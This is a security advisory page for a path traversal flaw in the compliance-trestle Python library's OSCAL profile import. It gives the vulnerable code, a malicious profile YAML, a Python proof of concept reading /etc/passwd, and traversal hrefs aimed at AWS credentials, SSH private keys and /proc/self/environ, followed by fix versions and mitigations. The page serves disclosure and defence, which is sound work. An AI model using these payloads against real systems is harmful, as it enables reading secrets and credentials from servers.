Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path TraversalGHSA-mj4x-vf5c-5xg8

Fix: oscal-compass/compliance-trestle@5c65c59

GHSA-mj4x-vf5c-5xg8 is a Path Traversal vulnerability in compliance-trestle. A fix is available for compliance-trestle — see the affected versions and patch details below.

Also known asCVE-2026-45774PYSEC-2026-2426
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Oct 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs44th percentile — riskier than 44% of all scored CVEsHighest risk
0.00%0.35%0.70%1.04%0.4%0.5%0.5%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected
🐍compliance-trestle🐍compliance-trestle

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

  1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
  2. PT-002: ../../etc/passwd — via relative path in href
  3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause:

  1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
  2. No is_relative_to(trestle_root) check after resolve
  3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
  4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

Impact

  1. Credential Theft via OSCAL Import:

    imports:
      - href: "trestle://../../root/.aws/credentials"
      - href: "trestle://../../root/.ssh/id_rsa"
    
  2. System Reconnaissance:

    imports:
      - href: "trestle://../../etc/passwd"
      - href: "trestle://../../proc/self/environ"
    
  3. Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.

  4. Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIcompliance-trestle≥ 4.0.0&&< 4.0.34.0.3pip install --upgrade 'compliance-trestle==4.0.3'
🐍PyPIcompliance-trestleall versions3.12.2pip install --upgrade 'compliance-trestle==3.12.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for compliance-trestle, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update compliance-trestle to 4.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mj4x-vf5c-5xg8 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This Important vulnerability in `compliance-trestle`, utilized by the File Integrity Operator, allows an unauthenticated attacker to read arbitrary files from the server filesystem. By crafting a malicious OSCAL profile YAML with path traversal sequences, an attacker can exploit improper path validation during profile…

Workaround published by Red Hat
To mitigate this issue, ensure that only trusted OSCAL profile YAML files are imported and processed by systems utilizing `compliance-trestle`. Avoid importing or processing OSCAL profile YAML files from untrusted or unverified sources.
Source: Red Hat security advisory for GHSA-mj4x-vf5c-5xg8 (CC BY 4.0)

Frequently Asked Questions

## Summary The compliance-trestle library's profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem. Three attack vectors confirmed: 1. **PT-001:** `trestle://../../etc/passwd` — via trestle:// URI scheme 2. **PT-002:** `../../etc/passwd` — via relative p
O3 Security · Impact-Aware SCA

Is GHSA-mj4x-vf5c-5xg8 in your dependencies?

Find it across PyPI, including transitive dependencies.

compliance-trestle Profile Import has an Arbitrary File…